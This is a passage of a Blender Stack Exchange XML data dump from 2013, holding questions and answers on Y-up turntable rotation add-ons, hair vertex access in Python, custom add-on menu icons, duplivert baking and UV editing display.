  <row Id="1459" PostTypeId="1" AcceptedAnswerId="1460" CreationDate="2013-06-28T03:09:42.853" Score="3" ViewCount="1018" Body="&lt;p&gt;Blender is hardwired to work with the Z-axis pointing upward, which is pretty inconvenient if one wants to import the game engine's physic simulation to a third party framework which happens to have the Y-axis pointing upwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the vertices data can be exported to most 3d modeling formats swapping two axis with no problem, the game physics exporter doesn't allow to swap the axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution is to rotate the view to place the Y-axis up, whis is my approach, but it has the inconvenient to mess the turntable mode rotation, which main axis of rotation is aligned parallel to the Z-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it would be very handy to have a turntable rotation mode with the main axis of rotation aligned parallel to the Y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKSk5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most third party game engines, would need two files to be exported, the vertices data (.obj in my case), and the physics simulation data (.bullet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects can be modeled independently of the axis pointing upwards, as long as the exported data have the right axis up, there wouldn't be any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built-in physics simulation can't be exported with the axes swapped, let's say it is Y up hardwired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there is the third party game engine, which happens to use OpenGL's Y-axis up convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my approach is to leave the third party game engine, and the Blender's physics exporter untouched, then export the vertices data as is, without any axis swapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem (sort of) is that it would require to use blender with Y-axis up, which at this point means to be able to navigate &quot;naturally&quot; with Y up.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-06-28T06:57:33.503" LastActivityDate="2013-07-12T17:18:58.767" Title="Turntable rotation with Y-axis up add-on" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1460" PostTypeId="2" ParentId="1459" CreationDate="2013-06-28T03:09:42.853" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/rraallvv/5959426&quot; rel=&quot;nofollow&quot;&gt;space_view3d_turntable_y_up.py&lt;/a&gt;&lt;br&gt;&#xA;Enable turntable rotation with Y axis up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/rraallvv/5959438&quot; rel=&quot;nofollow&quot;&gt;space_view3d_turntable_z_up.py&lt;/a&gt;&lt;br&gt;&#xA;Enable turntable rotation with Z axis up.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/rraallvv/5963246&quot; rel=&quot;nofollow&quot;&gt;space_view3d_turntable_any_up.py&lt;/a&gt;&lt;br&gt;&#xA;Enable turntable rotation with any axis up, the axis that is the most vertically aligned is the up axis for the turntable rotation until a new mouse gesture, i.e. until either the mouse button or the keyboard key modiffier is released.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All addons have the keyboard combination by default to &#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left Mouse Drag&lt;/kbd&gt; because there is no need to install them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither disables the built-in view rotation, so that one can have both the trackball (built-in) and the turntable (addon) at the same time mapping them to diferent keys.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-07-12T17:18:58.767" LastActivityDate="2013-07-12T17:18:58.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1461" PostTypeId="2" ParentId="1452" CreationDate="2013-06-28T03:14:17.130" Score="7" Body="&lt;p&gt;Short version:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;check first a build from &lt;a href=&quot;http://builder.blender.org&quot;&gt;builder.blender.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;then&#xA;&lt;ul&gt;&#xA;&lt;li&gt;verify source modifications&lt;/li&gt;&#xA;&lt;li&gt;verify build settings&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;fix your modifications or build settings.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you see weird behavior in own builds for which you also have changed source &lt;strong&gt;always&lt;/strong&gt; check a build from &lt;a href=&quot;http://builder.blender.org&quot;&gt;builder.blender.org&lt;/a&gt; . If the unexpected behavior doesn't show up with such a nightly test-build, then you should review your modifications and build settings as they are apparently the cause for the behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For building settings and troubleshooting of builds, refer to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aDoc/Building_Blender&quot;&gt;the build instructions&lt;/a&gt; for your own platform and build system. There are trouble shoot sections for each way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand the unexpected behavior is replicable with such a build, then you likely have found a bug, at which point you should be reporting that to &lt;a href=&quot;http://projects.blender.org&quot;&gt;projects.blender.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-06-28T03:14:17.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1462" PostTypeId="2" ParentId="1450" CreationDate="2013-06-28T04:39:59.713" Score="2" Body="&lt;p&gt;If you want one f-curve to control many properties, typically drivers are the best way to handle this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could for example apply the fcurve to an empties X location, then use that to drive many other properties.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-28T04:39:59.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1463" PostTypeId="2" ParentId="1459" CreationDate="2013-06-28T04:43:40.710" Score="0" Body="&lt;p&gt;We will probably get a few questions about alternate up-axis,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I'd suggest that importers and exports have the ability to switch axis (many bundled formats already support this - obj, fbx, x3d, ply).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then these tools can default to using the up axis most common with the format they are dealing with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could make a Blender scene with an alternative up axis - but I think this would become annoying to work with since various view options assume z-up (turn-table, numpad-keys, fly-mode-roll-correction...)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-28T04:43:40.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1464" PostTypeId="2" ParentId="1451" CreationDate="2013-06-28T05:06:12.720" Score="6" Body="&lt;p&gt;Enable Mirror, it's in your material settings. See the Blender wiki article on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual#Materials&quot; rel=&quot;noreferrer&quot;&gt;materials&lt;/a&gt; for more. Specifically the section on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Mirror&quot; rel=&quot;noreferrer&quot;&gt;mirrors&lt;/a&gt; will be of interest, there you will find a run-down of what each parameter does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F6bFL.png&quot; alt=&quot;Mirror settings for Blender Internal&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="12" LastEditDate="2013-06-28T13:11:41.210" LastActivityDate="2013-06-28T13:11:41.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1466" PostTypeId="1" AcceptedAnswerId="1473" CreationDate="2013-06-28T05:43:34.973" Score="8" ViewCount="1767" Body="&lt;p&gt;We can &lt;a href=&quot;https://blender.stackexchange.com/questions/166/&quot;&gt;convert hair into 3D editable objects&lt;/a&gt; &lt;a href=&quot;https://blender.stackexchange.com/a/181/290&quot;&gt;via the modifier tab&lt;/a&gt;, this means there must be an API to get the hair vertices instantly from python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain it and all it's parameters and arguments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to start my project &quot;Pholygonal&quot;, a polygonal hair generator controlled by the hair particle system.&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2013-06-28T10:45:12.423" Title="Getting hair vertices via python" Tags="&lt;scripting&gt;&lt;python&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1468" PostTypeId="1" AcceptedAnswerId="1493" CreationDate="2013-06-28T06:01:48.180" Score="3" ViewCount="553" Body="&lt;p&gt;I created a nice movie layout using only the Node editor. I added an mp3 audio file via the video sequence editor. Selected Both compositing and sequence in post processing under render properties and clicked the animation button and got a nice mp4 movie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I replace my mp3 file with a movie clip (containing both audio and video) in the video sequence editor and hide the movie by clicking the eye and set opacity to zero + moving the clip outside the start and end frame interval, I get an undesired result. The generated output movie does not contain any video, only audio.  &lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="263" LastEditDate="2013-06-28T13:00:26.193" LastActivityDate="2013-06-28T21:38:41.053" Title="Use only audio when mixing compositing and sequencer in post processing" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1469" PostTypeId="1" CreationDate="2013-06-28T07:44:18.363" Score="0" ViewCount="7032" Body="&lt;p&gt;I'm considering having a system build solely for rendering for cycles (as kind of a single PC renderfarm). Since the GPUs would be most important here, I plan on having it build around those. I was wondering what would be the best GPU to go for? As far as I can find, 2 gtx 580's seem to be the best option, while two 560 ti's give more bang for the buck. Any chance newer videocards work as well? (600+series?)&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="6204" LastEditDate="2016-12-19T18:49:33.297" LastActivityDate="2016-12-19T18:49:33.297" Title="What are the best graphics cards for cycles?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ClosedDate="2013-06-29T05:19:50.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="1470" PostTypeId="2" ParentId="1430" CreationDate="2013-06-28T08:32:32.507" Score="1" Body="&lt;p&gt;Another possibility is to set a &lt;em&gt;Children Of&lt;/em&gt; constraint to the left bone targeting the controlling right bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XxOtO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="20508" LastEditDate="2016-07-21T01:23:59.470" LastActivityDate="2016-07-21T01:23:59.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1471" PostTypeId="2" ParentId="1469" CreationDate="2013-06-28T08:37:18.843" Score="11" Body="&lt;p&gt;Here's a &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0As2oZAgjSqDCdElkM3l6VTdRQjhTRWhpVS1hZmV3OGc#gid=0&quot;&gt;spreadsheet&lt;/a&gt; that collates data from many users running the same benchmark scene. The &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239480-2.61-Cycles-render-benchmark&quot;&gt;thread with active discussion&lt;/a&gt; and a copy of the scene is at BlenderArtists, This is the best we can do without relying on opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decide for yourself which gfx card makes sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Different OS's, drivers and versions of Blender, can all significantly change render times. So you'll need to take that into consideration when comparing benchmarks.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-28T09:44:35.867" LastActivityDate="2013-06-28T09:44:35.867" CommentCount="2" CommunityOwnedDate="2013-06-28T08:37:18.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="1473" PostTypeId="2" ParentId="1466" CreationDate="2013-06-28T10:27:27.540" Score="12" Body="&lt;p&gt;Here is a little snippet that prints out all the coordinates of the hair vertices from the first particle system on a selected object. Make sure the object has a &lt;em&gt;hair&lt;/em&gt; particle system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;object = bpy.context.object&#xA;hairs = object.particle_systems[0].particles&#xA;for i, h in enumerate(hairs):&#xA;    print('hair number {i}:'.format(i=i))&#xA;    for i, hv in enumerate(h.hair_keys):&#xA;        print('  vertex {i} coordinates: {co}'.format(i=i, co=hv.co))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;particle_systems[0]&lt;/code&gt; is used to get to the first particle system of the object. After this the &lt;code&gt;particles&lt;/code&gt; are all the particles in the system (in this case the hairs). The hair vertices are accessed with &lt;code&gt;hair_keys&lt;/code&gt;. Finally to get the coordinates of a hair vertex you use &lt;code&gt;co&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the coordinate of only one hair vertex, you could type it in one nasty line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.object.particle_systems[0].particles[0].hair_keys[0].co&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="668" LastActivityDate="2013-06-28T10:27:27.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1474" PostTypeId="2" ParentId="1451" CreationDate="2013-06-28T12:10:23.147" Score="9" Body="&lt;p&gt;I'd like to add some information about the settings on top of &lt;a href=&quot;https://blender.stackexchange.com/a/1464/12&quot;&gt;micgdev's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Reflectivity&lt;/em&gt;: There you define how strong the reflection is. 1 is fully reflective, 0 means no reflection at all. A fully reflective surface is non-existant, even a mirror is around 0.9..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Fresnel&lt;/em&gt;: Do you know the effect when you're looking at car windows from different angles? One time (when you face them) it's almost transparent, the other time it's almost a mirror (looking at them from the side). This effect is the fresnel effect and you enable it with this slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Glossy&lt;/em&gt;: With a glossy &quot;amount&quot; value below 1 you're setting the glossiness. 1 means very glossy, all below 1 means that the reflection will be blurred out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Anisotropic&lt;/em&gt;: With this slider you can alter the reflection kind. If you're turning it up, the reflection will behave more and more like under a pot (become more and more circular).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that should set you up for the first steps...but read the documentation and experiment - there is so much to test and find out :)&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-06-28T13:14:12.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1475" PostTypeId="2" ParentId="1448" CreationDate="2013-06-28T12:21:32.287" Score="9" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/1448/how-to-enable-gpu-rendering-on-older-nvidia-gpus#comment2465_1448&quot;&gt;iKlsR&lt;/a&gt; said in the comments to your question, we discarded the sm_13 cycles kernel... This is exactly the one needed for your series of cards. Please take my advice when I talk to you as a developer - you don't want to enable this for your card. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all it's a hassle to setup nowadays! We don't care for this cards anymore, we don't even check if the code still compiles for it (and it certainly won't with our latest speed improvements for Cycles).&lt;br&gt;&#xA;Second, it's slower than rendering with CPU in your case.&lt;br&gt;&#xA;Third and foremost you are missing some important features with your kind of card:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering#Older_Cards&quot; rel=&quot;nofollow noreferrer&quot;&gt;There is no support for:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Render-passes,&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Ambient Occlusion,&lt;/em&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Many Cycles multi closures&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Hairs&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Motion blur ...&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see, this is by no means the optimal way to go! I understand when someone doesn't want to upgrade a system, but in this case you should upgrade for sure!&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2013-09-10T01:51:14.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1476" PostTypeId="2" ParentId="1121" CreationDate="2013-06-28T12:30:54.087" Score="4" Body="&lt;p&gt;There is a script extension, &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/System/HID_Mapper&quot; rel=&quot;nofollow&quot;&gt;Blender HID Mapper&lt;/a&gt;, that does the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Create a HID Mapping script similar to the provided template and run it. &lt;strong&gt;Then you can control blender with your MIDI device like specified in your mapping.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just install the most recent version of the script from &lt;a href=&quot;http://projects.blender.org/tracker/download.php/153/467/31680/21000/system_hid_mapper.py&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;, then write your mapping as you desire. The first link above also has a sample mapping script that you can work off of.&lt;/p&gt;&#xA;" OwnerUserId="846" LastEditorUserId="25" LastEditDate="2013-06-28T15:36:25.993" LastActivityDate="2013-06-28T15:36:25.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1477" PostTypeId="1" AcceptedAnswerId="1515" CreationDate="2013-06-28T13:32:36.287" Score="4" ViewCount="275" Body="&lt;p&gt;When I render the scene, the shadows of the fish have become distorted and enlarged. I have played around with the shadow settings on the meshes, materials, textures and environment but cannot fix the problem. Any help will be appreciated. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XyCRG.jpg&quot; alt=&quot;scene and settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="47" LastEditDate="2013-06-29T06:57:01.733" LastActivityDate="2013-06-29T17:46:57.607" Title="Shadows distorted and enlarged upon rendering" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1478" PostTypeId="1" AcceptedAnswerId="1479" CreationDate="2013-06-28T15:26:41.067" Score="11" ViewCount="2285" Body="&lt;p&gt;It has always bugged me that Blender add-ons (in this case the &lt;em&gt;Sapling&lt;/em&gt; add-on for generating trees) have a wall socket as their icon in the &lt;em&gt;Add&lt;/em&gt; menu, instead of something more custom. I would like to be able to set this icon for these add-ons and for the scripts that I write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change this icon, either through a custom build of Blender, or by modifying the Python script in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bmi0K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="20508" LastEditDate="2016-07-21T01:30:11.257" LastActivityDate="2016-07-21T01:30:11.257" Title="How to change icon in Add Object menu?" Tags="&lt;scripting&gt;&lt;customization&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1479" PostTypeId="2" ParentId="1478" CreationDate="2013-06-28T15:50:30.083" Score="8" Body="&lt;p&gt;For existing addons you'll have to find its code and change the code where operators are added to menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you write your own add-on, you can choose a different icon by specifying the icon parameter to the operator function with which you register your operator in a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/release/scripts/templates_py/operator_mesh_add.py&quot;&gt;Mesh Add operator template&lt;/a&gt; in the Blender text editor the snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def menu_func(self, context):&#xA;    self.layout.operator(AddBox.bl_idname, icon='MESH_CUBE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a list of icons to choose from see the blender documention. There are many places where you can define an icon, but there is only one list. For instance &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67b_release/bpy.types.UILayout.html#bpy.types.UILayout.menu&quot;&gt;for the menu function&lt;/a&gt; of a layout. It takes an icon, the list is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Icons outside these are not (yet) supported. You can replace the entire icon set though by specifying an icon file at the bottom of the User Interface section of the theme editing in User Preferences&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-06-28T16:06:23.757" LastActivityDate="2013-06-28T16:06:23.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1480" PostTypeId="2" ParentId="628" CreationDate="2013-06-28T16:20:03.677" Score="3" Body="&lt;p&gt;There is &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?296223-help-testing-desktop-span-feature-addition&quot; rel=&quot;nofollow&quot;&gt;a patch being worked on&lt;/a&gt; for BGE (on Windows) that allows you to span BGE (both in blender and in player). It is not yet accepted into Blender yet, but I'm quite confident it'll be added at some point. At the time of writing Blender 2.68 release is being prepared, so no further patches are accepted, but I imagine that after this release I could work with @dfelinto on reviewing and committing the patch (I've worked already with the developer of the patch to test).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the linked thread you'll find builds to test with.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-06-28T16:20:03.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1481" PostTypeId="2" ParentId="1478" CreationDate="2013-06-28T16:21:55.540" Score="8" Body="&lt;p&gt;In addition to the things already mentioned by jesterKing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Icons already in Blender&lt;/strong&gt;&lt;br&gt;&#xA;To see all the available icons embedded in Blender (and therefore accessible to any addon) you can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Development/Display_All_Icons&quot; rel=&quot;nofollow&quot;&gt;Icon Enumerator Addon&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often I turn to this post on BlenderArtists by HansPKG, who assembled an image of &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?201093-Icon-Enumeration-Script-%28Blender-2-5%29&amp;amp;p=1729391&amp;amp;viewfull=1#post1729391&quot; rel=&quot;nofollow&quot;&gt;most icons and their reference names&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adding your own icons&lt;/strong&gt;&lt;br&gt;&#xA;The blender wiki page &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Doc/How_to/Add_an_icon&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Dev:2.5/Doc/How to/Add an icon&lt;/code&gt;&lt;/a&gt; has a thorough description of how to add icons of your own, this is currently possible only when you do your own Blender builds.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-29T12:17:39.483" LastActivityDate="2013-06-29T12:17:39.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1482" PostTypeId="1" AcceptedAnswerId="1483" CreationDate="2013-06-28T16:36:29.527" Score="14" ViewCount="1443" Body="&lt;p&gt;Is it possible to bake dupliverts into one mesh for the BGE? (I have a large ground landscape that I use as the parent to duplicate trees, and the BGE doesn't support most modifiers.)&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="2217" LastEditDate="2014-04-26T18:41:36.673" LastActivityDate="2015-06-14T16:42:56.557" Title="Applying Dupli-Objects" Tags="&lt;game-engine&gt;&lt;modifiers&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1483" PostTypeId="2" ParentId="1482" CreationDate="2013-06-28T16:43:31.600" Score="14" Body="&lt;p&gt;You can turn all the duplivert objects into real objects by selecting the object with dupliverts and choosing &lt;em&gt;Object&gt; Apply&gt; Make Duplicates Real&lt;/em&gt; from the menu in the 3D view, or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select all the individual objects and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; to make them a single object.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-14T16:42:56.557" LastActivityDate="2015-06-14T16:42:56.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1484" PostTypeId="1" AcceptedAnswerId="1487" CreationDate="2013-06-28T17:28:03.653" Score="10" ViewCount="2253" Body="&lt;p&gt;How can I view my meshes UV's in &lt;em&gt;Edit Mode&lt;/em&gt; without a selection overlay? I want to be able to view my object with its texture map (and edit it) without having highlighted vertices/edges/faces obscuring my view.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20508" LastEditDate="2016-07-31T14:02:31.347" LastActivityDate="2020-10-06T02:04:03.633" Title="Remove selection overlays when Editing UVs?" Tags="&lt;workflow&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1485" PostTypeId="5" CreationDate="2013-06-28T17:33:28.890" Score="0" Body="&lt;p&gt;Use this tag if you are unsure how to tag your question to flag it for other users to retag it to better fit the site's tagging standards.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-28T17:40:41.293" LastActivityDate="2013-06-28T17:40:41.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1486" PostTypeId="4" CreationDate="2013-06-28T17:33:28.890" Score="0" Body="Use this tag if you are unsure how to tag your question" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-28T17:40:41.293" LastActivityDate="2013-06-28T17:40:41.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1487" PostTypeId="2" ParentId="1484" CreationDate="2013-06-28T17:52:51.667" Score="9" Body="&lt;p&gt;You can get close (though you still need to keep Edit mode enabled):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the 3D View's Properties region (&lt;kbd&gt;N&lt;/kbd&gt;), go to the Display panel and enable the Only Render checkbox&lt;/li&gt;&#xA;&lt;li&gt;In the Mesh Display panel, disable all of the overlays&lt;/li&gt;&#xA;&lt;li&gt;Change to Edge Select mode in the 3D View (this at least hides the vertices, although the edges will still be highlighted).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And if you enable the UV Select Sync button in the UV editor (it's in the header), then the only edges you'll see in the 3D View are the ones that are selected in the UV editor.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2013-06-28T18:14:46.257" LastActivityDate="2013-06-28T18:14:46.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1488" PostTypeId="2" ParentId="1484" CreationDate="2013-06-28T19:06:06.200" Score="3" Body="&lt;p&gt;&amp;quot;Edit Mode&amp;quot; is required for UV editing. Here's a workaround for your display issue:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the Array modifier to display a copy.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/editors/3dview/navigate/clip.html#view-clipping-border&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;View&lt;/em&gt; &amp;gt; &lt;em&gt;Clipping Border&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;) to display only the array instance.&lt;/li&gt;&#xA;&lt;li&gt;Toggle the mesh cage as needed using &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/introduction.html#interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;img src=&quot;https://i.stack.imgur.com/wCRNu.png&quot; alt=&quot;Applies modifier to editing cage in Edit mode&quot; /&gt; button in the modifier header&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMc8H.png&quot; alt=&quot;Blender edit mode without mesh cage&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-10-06T02:04:03.633" 